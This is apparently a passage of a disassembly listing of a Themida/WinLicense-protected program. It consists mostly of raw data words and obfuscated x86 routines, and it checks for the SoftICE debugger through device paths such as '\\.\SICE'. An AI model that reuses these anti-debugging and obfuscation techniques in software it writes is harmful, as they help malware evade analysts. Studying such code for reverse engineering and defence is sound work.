0D968E877h, 42330B8h, 35BF891Eh, 8EA547D6h, 0B5157816h dd 0AC0A4293h, 0FA4E756Ch, 63923150h, 10751E1Ch, 90B71479h dd 9EA13A6Fh, 6ADE717Ah, 11DBBADBh, 0FF49DEC4h, 0ACE1FEDFh dd 4751B32h, 0A6389AFBh, 707899A8h, 0EE7FC95Eh, 7EF359ECh dd 79EDB564h, 0A303DE8Dh, 0BA000005h, 0A68C2A2Ch, 0B69C3A14h dd 0A88A2822h, 0B7993917h, 998C2A2Ah, 6CE87596h, 76DC6C4Eh dd 6BDD7258h, 78D4654Bh, 1F4E915Ah, 16B34FC3h, 0BD29158Ch dd 7251E06Ch, 3520050h, 0C5183A82h, 0F0B520C1h, 0A5C41B0Eh dd 0E663EF94h, 17391E41h, 8DDFF5B3h, 0B4108AFBh, 0B4D9109Eh dd 0B688DD2Ch, 0D56F109Eh, 0A3411704h, 0FFFEEDACh, 0DDC292FFh dd 0FB6A7BBAh, 109E459Fh, 5A7E2568h, 6A6C74FBh, 0C8E475D7h dd 97C6E5A1h, 168EC4FEh, 71ED203Fh, 3A0A8ABEh, 1C1CBADBh dd 0BDE2C1C5h, 27D4842Ch, 401DA706h, 7BBB88CDh, 0ADBCE110h dd 77B4FD5Ch, 41BA5404h, 9BE65D1Bh, 0CB1B3F50h, 948DB283h dd 6E577C1Dh, 94C9E687h, 478A83Ah, 0E33A8203h, 1FBh, 0D27CCEF4h dd 0E5C2500Ah, 0B53793C2h, 9D00109Dh, 9DB572ECh, 0FF143B10h dd 0DC36197Dh, 0DDF3FD9Ch, 348CD5F6h, 1914477h, 17B4D560h dd 0A249C538h, 0F312109Eh, 0F879ECE9h, 79168F92h, 8FAB2756h dd 4EDF0A8Bh, 0A42C71FEh, 0A825C647h, 0C3358411h, 3F0DA082h dd 0B2982C2Eh, 0B90362A3h, 8522647Dh, 2F3E0A9Dh, 0D6F9E6EEh dd 5FEE64F4h, 766EE7Bh, 2B3A12A3h, 8EA3E2EAh, 8736A264h dd 0F5EF643h, 62419DD0h, 8B0A2A9Eh, 3E98CDEAh, 72A9E62h dd 7956E786h, 61AB2756h, 51DF2A9Eh, 82D13001h, 0C5DEB40h dd 0D8E4EC8Dh, 875D2F91h, 829848AFh, 0DC91C4E3h, 55308EC7h dd 0F6EDA6Dh, 15378AB0h, 1EB298B5h, 0DFFC1D2Ch, 8AB434AEh dd 5098FD24h, 0ACA1ABFEh, 9A034E9Ch, 0F3DFFAB1h, 6A000003h dd 765C7ADCh, 664C6AE4h, 785A78D2h, 674969E7h, 695C7ADAh dd 3C18A5C6h, 262CBC9Eh, 3B0DA288h, 2824B59Bh, 6F9EC18Ah dd 16B351F3h, 0A3F965BCh, 0CCEBC8BEh, 9DB53D99h, 8CFD6E10h dd 9DCA3D13h, 0D96B4FCEh, 0FB6A6771h, 1688F4E3h, 0C842B394h dd 910A88E1h, 0E43EAF0Ch, 0AD0A88E1h, 0C4036068h, 88E23591h dd 0A3FF6E0Ah, 6C0A88E1h, 9AFB1A29h, 86C2153Dh, 9BAD0228h dd 14A58DCAh, 0B9EB038h, 41202A7Eh, 17BC60Ch, 65600780h dd 362h, 0C7E76FFBh, 0DDFD51E1h, 0C1E169FBh, 0A20050DFh dd 83233180h, 0DF6E9F90h, 0E5735575h, 0D86B4D6Dh, 0DD705270h dd 5D824F6Fh, 0B352AE28h, 40227716h, 51E06CBDh, 4DFB5072h dd 1539DFCh, 0C6CD9CB0h, 63B6AF4Ch, 4A109DB7h, 0BE1421F2h dd 0FCC4895Ch, 0C2ADFFFFh, 0B51670E5h, 1E4F109Dh, 109DB4C4h dd 0DA3B088Dh, 0DF6DC012h, 0C366518Eh, 4D4B4986h, 0F0F9458Fh dd 11C43996h, 4A168EF1h, 0E7183105h, 3628E78h, 11A082A3h dd 0B9DF7943h, 0DDA9C0D9h, 0C288DCFEh, 8DCA1273h, 8EA5D958h dd 48ABEA16h, 77B65FC5h, 0AF144DB2h, 0FD1C2D1Dh, 77C68AD9h dd 25587716h, 68642110h, 3B97C609h, 45C601Eh, 0C18D1D81h dd 53701170h, 6870E06Fh, 0E0A6BBF9h, 0F7DF92C3h, 35586250h dd 2B21B496h, 3814A58Bh, 0C57DF745h, 488524CBh, 276h, 0DBFB5BE7h dd 0C9E965F5h, 0D5F555E7h, 0CEEC64F3h, 0D7F75DECh, 93224BE4h dd 71BFE1C1h, 4CDFC1E1h, 69FCDEFCh, 0D9F6C3E3h, 0B3542AA4h dd 0C49EF316h, 0FE4CE0C2h, 9AA62E6Fh, 0B298374Fh, 368A2C1Eh dd 5E8FCC14h, 16882E52h, 9EC11E7Fh, 15242ABCh, 55EAECF4h dd 5AEDD3F3h, 0EA7B5FEEh, 0B5BBEF62h, 15D48000h, 20D38h dd 54025000h, 4C025476h, 52F84C6Eh, 53FD4E74h, 54004D73h dd 83E84776h, 9AC01E36h, 88AA084Ah, 93B51533h, 9FAC0A42h dd 53D14DC0h, 879A16B3h, 4EE0C2DBh, 657CB800h, 8D9D8221h dd 8DFC73D2h, 94C916DEh, 16886D88h, 4F7350B5h, 56834DFDh dd 4B6BE174h, 516E144Bh, 885ACC1Ch, 4D1C810Ah, 0C998BC09h dd 0C2921F11h, 727CBAE5h, 5F077788h, 20474795h, 0BE104562h dd 770A888Dh, 0B2034716h, 0E1C585D7h, 0D0310054h, 82AA0B1h dd 113797B5h, 95BD8CC0h, 4E0653CAh, 0C68EDBFFh, 9A2F6177h dd 0E6638DABh, 86CA1941h, 83C91C3Eh, 3674FB24h, 75665DA0h dd 0FA4B6D6Bh, 72BF0352h, 1DAB53E2h, 0E963F6ACh, 92C3ECC9h dd 8B0776EFh, 540A87E5h, 396B8A31h, 0F643955Fh, 18C70F5Eh dd 2EE45587h, 3416B59Fh, 7E9FAEA4h, 0F3426876h, 59EED061h dd 88A5EEFh, 1C72BF73h, 44D3B849h, 0C7E7865Eh, 6DFC50E1h dd 0D913041Ch, 0BB50C2A2h, 0BC96260Ch, 0BD8F2234h, 0DCAA3B1Dh dd 0FD8AD182h, 2D950BC5h, 0C2425E45h, 6A6CFD9Ch, 77E879DBh dd 9CF66748h, 65521453h, 0DD6E9820h, 1AB89425h, 0F8E1A538h dd 8A1908DDh, 9391A0C1h, 0A3E2754Eh, 0B5A3B13h, 22BDEAC4h dd 731201D0h, 0FF4EFE4Fh, 0ADE0FF9Eh, 58058AC0h, 7DA65E69h dd 1382BF5Ah, 0D545472h, 0D46623B6h, 0CBAAEB7Ah, 26B71B7Ah dd 97F61726h, 0C5381738h, 4C015349h, 9AE9F312h, 51EBCC68h dd 0E86CF9E1h, 0BA409ACBh, 840945EBh, 0DF7254E5h, 47704D6Dh dd 0DB1B5AF9h, 79C7EB97h, 6CBD0FD9h, 4CDFC3E0h, 8A2C6DFCh dd 1AC91335h, 0D2359AEBh, 0EE8B075Ch, 7C5BF144h, 9EB02A5Bh dd 74E90ECDh, 0ECD9F1Ah, 7095A2E3h, 0F5486A68h, 3D0C4294h dd 0AAACBDDCh, 32263719h, 5FBB2A0Dh, 280ECD9Fh, 0DABB8D22h dd 54037812h, 0E071DB6Eh, 0A43517A1h, 95280AA8h, 3ABA6B7h dd 7000000h, 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h dd 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh dd 68221524h, 3E4Fh, 53240C89h, 0C381E389h, 4, 8704EB83h dd 895C241Ch, 8953242Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h dd 2414895Ch, 9DB6853h, 815B2C09h, 0C8FE4C3h, 8BDD89DAh dd 0C481241Ch, 4, 24148B54h, 6804C483h, 76BAh, 8F242C89h dd 148B0842h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+1Ch+var_1C] pop esp push [esp+18h+var_18] pop ebp add esp, 4 jmp loc_58442C ; --------------------------------------------------------------------------- dd 977B4A7Fh, 9874E1FDh ; --------------------------------------------------------------------------- loc_5A6514: ; CODE XREF: sub_580566:loc_5A5C3Ej mov eax, 615A1C5h add eax, ebp jmp eax sub_580566 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 19h, 0FDh, 67h dd 0AAAE4A2Ch, 5822F575h, 3A5AA219h, 7A984766h, 0B8B51B0Bh dd 7E73D918h, 91B3F44h, 8CEB7D37h, 0ED57C720h, 71C4EA65h dd 0FAA21526h, 11E83Eh, 0CBEC0000h, 7DF52700h, 25FBEA75h dd 7871A5F9h, 0B7C5078Bh, 0C0805E03h, 0E4C68137h, 0FC00005Dh dd 174A68h, 13E900h, 0ECC40000h, 5D13B0F3h, 0DA0D2587h dd 0B2EFACF9h, 0A9414662h, 0BF0F5A3Ah, 8136FFCAh, 0F0C16CC1h dd 0C78B5F70h, 8814C781h, 0B9662AA5h, 0EF817FD0h, 40F1E712h dd 6840Fh, 0C3810000h, 9D9B46Fh, 827EF81h, 0CD801BE0h dd 0CB81572Ah, 5D79B60h, 83FC068Fh, 816004EEh, 0B2FE73C8h dd 0D2B70F1Eh, 1EA8161h, 0F000000h, 1885h, 0B5BB6600h dd 24E913h, 3510000h, 0ECB36F0Ah, 1D293DF0h, 859ED0FCh dd 0A6BB6603h, 0FF8BE9C4h, 8183FFFFh, 7AA451E5h, 7808FBAFh dd 8DE9B268h, 60000000h, 0EFDBD83h, 0F000613h, 584h, 78E900h dd 6A0000h, 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 15E9h dd 0A5858D00h, 5006132Ah, 96240489h, 6A9650h, 15595FFh dd 0C3610613h, 11E185C6h, 684D0613h, 9A00E4D3h, 0D5240481h dd 0FF0A3491h, 1310D1B5h, 0AD858D06h, 0FF06133Ah, 558589D0h dd 0E9061301h, 0AAh, 74666F53h, 65726177h, 6E69575Ch, 6563694Ch dd 65736Eh, 63656843h, 4E496Bh, 6F727058h, 69784574h, 68430074h dd 4F6B6365h, 57005455h, 694C6E69h, 736E6563h, 72655665h dd 6E6F6973h, 6E695700h, 6563694Ch, 4465736Eh, 65766972h dd 72655672h, 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh dd 6174736Eh, 65636Eh, 74697845h, 50006B4Fh, 49636F72h dd 7250004Eh, 554F636Fh, 78450054h, 4E497469h, 69784500h dd 54554F74h, 49705400h, 4Eh, 2 dup(0) dd 0B9080000h, 0D5BB77DEh, 96E977DFh, 89000005h, 15A4A085h dd 9C858D06h, 500615A4h, 0A406858Dh, 68500615h, 80000001h dd 0A4AC95FFh, 196A0615h, 0A4A0B5FFh, 16A0615h, 858D006Ah dd 615A435h, 9CB5FF50h, 0FF0615A4h, 131D4595h, 9CB5FF06h dd 0FF0615A4h, 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h dd 8589C306h, 615A4A0h, 0A49C858Dh, 8D500615h, 15A40685h dd 1685006h, 0FF800000h, 15A4AC95h, 8D046A06h, 15A4A085h dd 46A5006h, 858D006Ah, 615A45Fh, 9CB5FF50h, 0FF0615A4h dd 131D4595h, 9CB5FF06h, 0FF0615A4h, 15A4A895h, 9CB5FF06h dd 0FF0615A4h, 1331CD95h, 8589C306h, 615A4A0h, 0A49C858Dh dd 8D500615h, 15A40685h, 1685006h, 0FF800000h, 15A4AC95h dd 8D046A06h, 15A4A085h, 46A5006h, 858D006Ah, 615A447h dd 9CB5FF50h, 0FF0615A4h, 131D4595h, 9CB5FF06h, 0FF0615A4h dd 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h, 8589C306h dd 615A4A0h, 0A49C858Dh, 8D500615h, 15A40685h, 1685006h dd 0FF800000h, 15A4AC95h, 8D046A06h, 15A4A085h, 46A5006h dd 858D006Ah, 615A472h, 9CB5FF50h, 0FF0615A4h, 131D4595h dd 9CB5FF06h, 0FF0615A4h, 15A4A895h, 9CB5FF06h, 0FF0615A4h dd 1331CD95h, 8589C306h, 615A4A0h, 0A49C858Dh, 8D500615h dd 15A40685h, 1685006h, 0FF800000h, 15A4AC95h, 8D046A06h dd 15A4A085h, 46A5006h, 858D006Ah, 615A422h, 9CB5FF50h dd 0FF0615A4h, 131D4595h, 9CB5FF06h, 0FF0615A4h, 15A4A895h dd 9CB5FF06h, 0FF0615A4h, 1331CD95h, 0BD83C306h, 613206Dh dd 0B840F00h, 8B000000h, 13206D9Dh, 4CC38306h, 83C30389h dd 13206DBDh, 840F0006h, 0Bh, 206D9D8Bh, 0C3830613h, 0C3038950h dd 206DBD83h, 0F000613h, 0B84h, 6D9D8B00h, 83061320h, 38954C3h dd 6DBD83C3h, 61320h, 0B840Fh, 9D8B0000h, 613206Dh, 8958C383h dd 0BD83C303h, 613206Dh, 0B840F00h, 8B000000h, 13206D9Dh dd 5CC38306h, 0C3C30389h, 0A0858960h, 8D0615A4h, 15A49C85h dd 858D5006h, 615A406h, 16850h, 95FF8000h, 615A4ACh, 858D046Ah dd 615A4A0h, 6A046A50h, 97858D00h, 500615A4h, 0A49CB5FFh dd 95FF0615h, 6131D45h, 1625BD83h, 0F000613h, 0C84h, 9CB5FF00h dd 0FF0615A4h, 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h dd 60C36106h, 0A4A08589h, 858D0615h, 615A49Ch, 6858D50h dd 500615A4h, 168h, 0AC95FF80h, 6A0615A4h, 0A0858D04h dd 500615A4h, 6A046Ah, 0A479858Dh, 0FF500615h, 15A49CB5h dd 4595FF06h, 8306131Dh, 131625BDh, 840F0006h, 0Ch, 0A49CB5FFh dd 95FF0615h, 615A4A8h, 0A49CB5FFh, 95FF0615h, 61331CDh dd 8960C361h, 15A4A085h, 9C858D06h, 500615A4h, 0A406858Dh dd 68500615h, 80000001h, 0A4AC95FFh, 46A0615h, 0A4A0858Dh dd 6A500615h, 8D006A04h, 15A48085h, 0B5FF5006h, 615A49Ch dd 1D4595FFh, 0BD830613h, 6131625h, 0C840F00h, 0FF000000h dd 15A49CB5h, 0A895FF06h, 0FF0615A4h, 15A49CB5h, 0CD95FF06h dd 61061331h, 858960C3h, 615A4A0h, 0A49C858Dh, 8D500615h dd 15A40685h, 1685006h, 0FF800000h, 15A4AC95h, 8D046A06h dd 15A4A085h, 46A5006h, 858D006Ah, 615A488h, 9CB5FF50h dd 0FF0615A4h, 131D4595h, 25BD8306h, 61316h, 0C840Fh, 0B5FF0000h dd 615A49Ch, 0A4A895FFh, 0B5FF0615h, 615A49Ch, 31CD95FFh dd 0C3610613h, 0A0858960h, 8D0615A4h, 15A49C85h, 858D5006h dd 615A406h, 16850h, 95FF8000h, 615A4ACh, 858D046Ah, 615A4A0h dd 6A046A50h, 8F858D00h, 500615A4h, 0A49CB5FFh, 95FF0615h dd 6131D45h, 1625BD83h, 0F000613h, 0C84h, 9CB5FF00h, 0FF0615A4h dd 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h, 60C36106h dd 0A4A085C7h, 10615h, 858D0000h, 615A49Ch, 6858D50h, 500615A4h dd 268h, 0AC95FF80h, 0B0615A4h, 0F840FC0h, 0C7000000h dd 15A4A085h, 6, 4DE900h, 46A0000h, 0A4A0858Dh, 6A500615h dd 8D006A04h, 15A41A85h, 0B5FF5006h, 615A49Ch, 1D4595FFh dd 0C00B0613h, 0F840Fh, 85C70000h, 615A4A0h, 0 ; --------------------------------------------------------------------------- jmp loc_5A6C33 ; --------------------------------------------------------------------------- mov dword ptr [ebp+615A4A0h], 1 loc_5A6C33: ; CODE XREF: Themida_:005A6C24j push dword ptr [ebp+615A49Ch] call dword ptr [ebp+61331CDh] popa mov eax, [ebp+615A4A0h] retn ; --------------------------------------------------------------------------- pusha mov [ebp+615A4A0h], eax lea eax, [ebp+615A49Ch] push eax lea eax, [ebp+615A406h] push eax push 80000001h call dword ptr [ebp+615A4ACh] push 4 lea eax, [ebp+615A4A0h] push eax push 4 push 0 lea eax, [ebp+615A41Ah] push eax push dword ptr [ebp+615A49Ch] call dword ptr [ebp+6131D45h] cmp dword ptr [ebp+6131625h], 0 jz loc_5A6CA0 push dword ptr [ebp+615A49Ch] call dword ptr [ebp+615A4A8h] loc_5A6CA0: ; CODE XREF: Themida_:005A6C8Ej push dword ptr [ebp+615A49Ch] call dword ptr [ebp+61331CDh] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+615A4A0h], eax lea eax, [ebp+615A49Ch] push eax lea eax, [ebp+615A406h] push eax push 80000001h call dword ptr [ebp+615A4ACh] push 4 lea eax, [ebp+615A4A0h] push eax push 4 push 0 lea eax, [ebp+615A42Ch] push eax push dword ptr [ebp+615A49Ch] call dword ptr [ebp+6131D45h] cmp dword ptr [ebp+6131625h], 0 jz loc_5A6D07 push dword ptr [ebp+615A49Ch] call dword ptr [ebp+615A4A8h] loc_5A6D07: ; CODE XREF: Themida_:005A6CF5j push dword ptr [ebp+615A49Ch] call dword ptr [ebp+61331CDh] popa retn ; --------------------------------------------------------------------------- mov byte ptr [ebp+61311E1h], 52h push 0ADE47B07h push dword ptr [ebp+61307C9h] call dword ptr [ebp+6133235h] mov [ebp+615A4ACh], eax mov byte ptr [ebp+61311E1h], 52h push 902E00E5h push dword ptr [ebp+61307C9h] call dword ptr [ebp+6133235h] mov [ebp+615A4A8h], eax mov byte ptr [ebp+61311E1h], 52h push 0B9BF1235h push dword ptr [ebp+61307C9h] call dword ptr [ebp+6133235h] mov [ebp+6131D45h], eax mov byte ptr [ebp+61311E1h], 52h push 98781034h push dword ptr [ebp+61307C9h] call dword ptr [ebp+6133235h] mov [ebp+61331CDh], eax mov byte ptr [ebp+61311E1h], 52h push 0C005DBD4h push dword ptr [ebp+61307C9h] call dword ptr [ebp+6133235h] mov [ebp+6131191h], eax jmp short loc_5A6DCB ; --------------------------------------------------------------------------- db 2 dup(5Ch), 2Eh dd 4349535Ch, 5C5C0045h, 49535C2Eh, 44495657h, 2E5C5C00h dd 49544E5Ch db 43h, 45h, 0 ; --------------------------------------------------------------------------- loc_5A6DCB: ; CODE XREF: Themida_:005A6DABj mov eax, eax push esi and dx, 517Ah pop ecx cmp dword ptr [ebp+6131625h], 0 jnz short loc_5A6DE6 cmp dword ptr [ebp+6132C81h], 0 jz short loc_5A6DFF loc_5A6DE6: ; CODE XREF: Themida_:005A6DDBj push eax push ebx mov eax, eax mov eax, 40Fh mov [ebp+6130D7Dh], eax lea ebx, [ebp+615A97Dh] call ebx ; _iob pop ebx pop eax loc_5A6DFF: ; CODE XREF: Themida_:005A6DE4j cmp dword ptr [ebp+6132C81h], 0 jz short loc_5A6E1F push eax push ebx mov eax, 40Fh mov [ebp+6130D7Dh], eax lea ebx, [ebp+615A66Ch] call ebx ; _iob pop ebx pop eax loc_5A6E1F: ; CODE XREF: Themida_:005A6E06j mov esi, [ebp+6130619h] call near ptr loc_5A6E34+5 push ecx rcr dword ptr [edx+50h], cl jge short near ptr loc_5A6E91+1 xlat add esi, [eax-8] loc_5A6E34: ; CODE XREF: Themida_:005A6E25p repne sub eax, 0B5F08FFDh pop ebp pop esi mov edi, [ebp+613147Dh] mov eax, eax mov ecx, edx mov byte ptr [ebp+61311E1h], 43h adc di, 4F84h call sub_5A6E5B cld outsb ; --------------------------------------------------------------------------- db 8Eh, 0BCh ; =============== S U B R O U T I N E ======================================= sub_5A6E5B proc near ; CODE XREF: Themida_:005A6E52p mov si, bx push eax jle loc_5A6E67 mov edx, ecx loc_5A6E67: ; CODE XREF: sub_5A6E5B+4j mov eax, [esp+4] mov eax, [eax] call near ptr loc_5A6E72+5 loc_5A6E72: ; CODE XREF: sub_5A6E5B+12p fld tbyte ptr [esi+51F1C840h] sub_5A6E5B endp ; sp-analysis failed pop edx pop edx mov [esp+4], eax mov edi, esi pop eax push 0 push edx call sub_5A6E8C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A6E8C proc near ; CODE XREF: Themida_:005A6E84p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx loc_5A6E91: ; CODE XREF: Themida_:005A6E2Ej add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5A6E8C endp ; --------------------------------------------------------------------------- dd 29A8946Dh, 428C2A12h, 0FF3AB6DDh, 13116DB5h, 7DBD0306h dd 8D061317h, 133AAD85h, 6E806h, 0BB590000h, 0C25BF3E5h dd 0AE8h, 750B8D00h, 821620A8h, 8B011776h, 131C11B5h, 0FF5A5906h dd 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0BE90451h, 6D000000h, 0DC73E612h, 0A0C7A35Ah dd 8B665A01h, 0BFBF50CFh, 89573EDDh, 0BD092404h, 6132071h dd 8529006Ah, 61321EDh, 0C21F7768h, 68D0FD1h, 0F000000h dd 8Ch, 24048100h, 2E3DE109h, 306D9D89h, 36A0613h, 68B0Fh dd 8D8B0000h, 61320CDh, 1E719D89h, 6A0613h, 118DBD33h dd 10E90613h, 5E000000h, 55E2F277h, 0E260A34Dh, 5FF62C2Bh dd 6A3A4924h, 6E803h, 47D40000h, 468172ADh, 3499BD09h dd 685A0613h, 0AFBA6238h, 38E0F51h, 66000000h, 8159C88Bh dd 62382434h, 0BF0F6FBAh, 0E39D8DFAh, 660615AAh, 0E09DE981h dd 4890F50h, 66000000h, 890781BFh, 8166241Ch, 0FFD292C1h dd 2B14BED0h, 0F404028h, 2BC85h, 19B58B00h, 58061331h dd 96077B2h, 130A4195h, 0AE906h, 40760000h, 0C2A1AA40h dd 0C15CDA2Eh, 810F5061h, 0Ch, 52505250h, 2 dup(585A310Fh) dd 89240489h, 132369BDh, 29006A06h, 131B519Dh, 0E1136806h dd 7E950FEh, 3B000000h, 15AA6C17h, 34812A5Ch, 0FEE19324h dd 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 8B66F660h, 29036AF9h, 13133195h, 6A006A06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 1DA3C355h, 95D7B4BEh, 6A321588h, 0B5BD8B03h dd 68061305h, 72DEB3EBh, 0AE8h, 51887100h, 99D13EF1h, 600482CCh dd 7E8h, 5E826E00h, 1E57128h, 3ABB665Bh, 815E616Eh, 4C152404h dd 8D8B4D21h, 6131D21h, 9D8DA9B6h, 615AAECh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 48C35141h, 8B17CF4Bh dd 0EE8D3h, 0E90C0000h, 75A810F0h, 0A4A5EA37h, 3BA9904Eh dd 13E9h, 3D36E000h, 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh dd 9ADFC48h, 0E950935Ah, 0Dh, 0A1C429D2h, 0E11D4C94h, 0ADFB3214h dd 0B966935Eh, 0D0FF3E23h, 132D9D89h, 33600613h, 1330FDBDh dd 0EE816006h, 399614A6h, 2EBD9589h, 61610613h, 42850F40h dd 8B000001h, 1300C58Dh, 0D1BA5806h, 502809CBh, 0DE850h dd 39AA0000h, 0B9E47D0Ah, 7A8B22Dh, 66F0F4D8h, 5F59CF8Bh dd 6A240489h, 68F0F00h, 9000000h, 13129DBDh, 61716806h dd 62B584B3h, 0F240481h, 667B4C9Fh, 0F78BD38Bh, 6A036Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 5AFD06C3h, 0A568B15Ah, 6A39DDBAh, 0AE900h, 0B2320000h dd 0CCB86B47h, 8FF90F93h, 1AE78166h, 0BE036ABFh, 2C049053h dd 63801368h, 28B0F42h, 8A000000h, 240481D7h, 7D9C7FEDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 5BC35141h dd 8D9EF48Eh, 15AAF79Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 7987210Bh, 0E8C18160h dd 603AD378h, 958BE28Ah, 61334E9h, 8A506161h, 241C89F7h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F7C35141h dd 80C1CC46h, 969FA94Ch, 0FB8B6645h, 0FFF0BF0Fh, 699D01D0h dd 40061330h, 0B850Fh, 81660000h, 58DC0DDEh, 1A2E9h, 6AD88B00h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 6370C356h, 0CA804F7Ch, 68F0FD4h, 8B000000h dd 132FED95h, 0EE94B06h, 0A8000000h, 87324864h, 0CDBCEF0h dd 0C3813913h, 6A5880h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 0BEB1F8C3h, 0C6B5B1E0h, 1311E185h dd 950B4306h, 6131729h, 4E8h, 764AA700h, 50F8B5C0h, 0F98B5250h dd 5250310Fh, 310FD38Bh, 5AF88B66h, 8B585A58h, 50042444h dd 5E505152h, 5A310F5Fh, 0E9008B58h, 7, 27121401h, 89289577h dd 0E8042444h, 10h, 0E1D0856Dh, 0F835DAD1h, 0B08134C1h dd 27DAFBD1h, 0CDBF585Ah, 0FF185E3Fh, 13116DB5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 8D29604Ch, 6130BADh, 6860Fh, 880F0000h, 0 dd 0AD858D61h, 0F806133Ah, 5693D0FFh, 0DC93D6B9h, 66505A41h dd 0FC93CE8Bh, 10E8h, 0F8BCF600h, 0CC76F1Eh, 4D2748DFh dd 0CFDD88EDh, 5AF98BE9h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0BF48C7C3h, 0F5C531E0h dd 0E9687013h, 5, 1F8F5A8h, 168D0F42h, 0E9000000h, 11h dd 96191DB4h, 0A10E20Fh, 9DEADF9Eh, 0ED667270h, 339D8D33h dd 60061375h, 0B7DE8166h, 1D9D092Fh, 6106130Bh, 1B8h, 39BD8900h dd 0FF061301h, 8BFA8BE3h, 0C08BFCC1h, 2A3DB58Bh, 53600613h dd 1ED18D29h, 8B590613h, 132149BDh, 0BD836106h, 6131625h dd 83097500h, 132C81BDh, 19740006h, 0C08B5350h, 40FB8h dd 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h dd 6132Ch, 53501774h, 40FB8h, 15858900h, 8D061331h, 15A6859Dh dd 5BD3FF06h, 0A9852958h, 8B061321h, 9E8C0h, 8A9D0000h dd 35C57108h, 8B5101D9h, 13124185h, 0BD8B5E06h, 6130959h dd 59D3C681h, 8C0F0000h, 6, 283DBD8Bh, 39680613h, 0E9000016h dd 0Ah, 61B3D25Ah, 0A3752C80h, 665B2388h, 0FF7C62BAh, 7FBF6636h dd 9D895917h, 6130A51h, 0E8ECF181h, 0BD8B1E42h, 6130579h dd 2B56E981h, 0E8602960h, 9, 82F747CEh, 30731A4Dh, 5E9E1h dd 0B8F40000h, 5BBA858Fh, 0BE9h, 0BCBFB400h, 6E3DFF93h dd 0A4A0849Bh, 5DC18161h, 5627E926h, 0B382DF81h, 895F2CABh dd 0C6BF0F0Eh, 0EBFFEE81h, 9D29458Dh, 6130CFDh, 0EBFBC681h dd 9D89458Dh, 6131E9Dh, 1EB81h, 850F0000h, 19h, 1A35B589h dd 26E90613h, 85000000h, 0A880FDC4h, 0DEF8FC05h, 0E7183AD4h dd 3D958BD3h, 0E906130Ch, 0FFFFFF5Bh, 7E5FF0FEh, 0FF01BFAFh dd 3141FE5Bh, 99E974h, 622F0000h, 68636775h, 326B6365h dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 15B34CBDh dd 840F0006h, 0Ah, 2C8185C7h, 10613h, 85C60000h, 61311E1h dd 4E847h, 6C8D0000h, 8B50906Dh, 8B042444h, 24448900h dd 0B5FF5804h, 613116Dh, 3AAD858Dh, 0D0FF0613h, 0F88BD0FFh dd 0F223F80h, 2285h, 22B04700h, 0F9850FAEh, 80FFFFFFh dd 840F003Fh, 31Bh, 3F8047h, 311840Fh, 1EE90000h, 80000000h dd 840F003Fh, 303h, 0F203F80h, 685h, 6E94700h, 47000000h dd 0FFFFE2E9h, 3F80FFh, 5850Fh, 0E0E90000h, 0E9000002h dd 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh, 5850F00h, 0E9000000h dd 2C3h, 0AE8h, 0FFCBE900h, 0B4E9FFFFh, 8D000002h, 15B2CCB5h dd 225E806h, 0BD030000h, 615B361h, 0B361BD83h, 0F000615h dd 0B84h, 2585C700h, 1061316h, 0C3000000h, 0B2D7B58Dh dd 0FCE80615h, 3000001h, 15B361BDh, 61BD8306h, 615B3h dd 0B840Fh, 85C70000h, 6132C81h, 1, 50B58DC3h, 0E80615B3h dd 1D3h, 0B361BD03h, 0BD830615h, 615B361h, 0B840F00h, 0C7000000h dd 130EFD85h, 106h, 0B58DC300h, 615B2E1h, 1AAE8h, 61BD0300h dd 830615B3h, 15B361BDh, 840F0006h, 0Bh, 2C8185C7h, 10613h dd 8DC30000h, 15B2EBB5h, 181E806h, 0BD030000h, 615B361h dd 0B361BD83h, 0F000615h, 1584h, 8185C700h, 106132Ch, 0C7000000h dd 13162585h, 106h, 0B58DC300h, 615B2F9h, 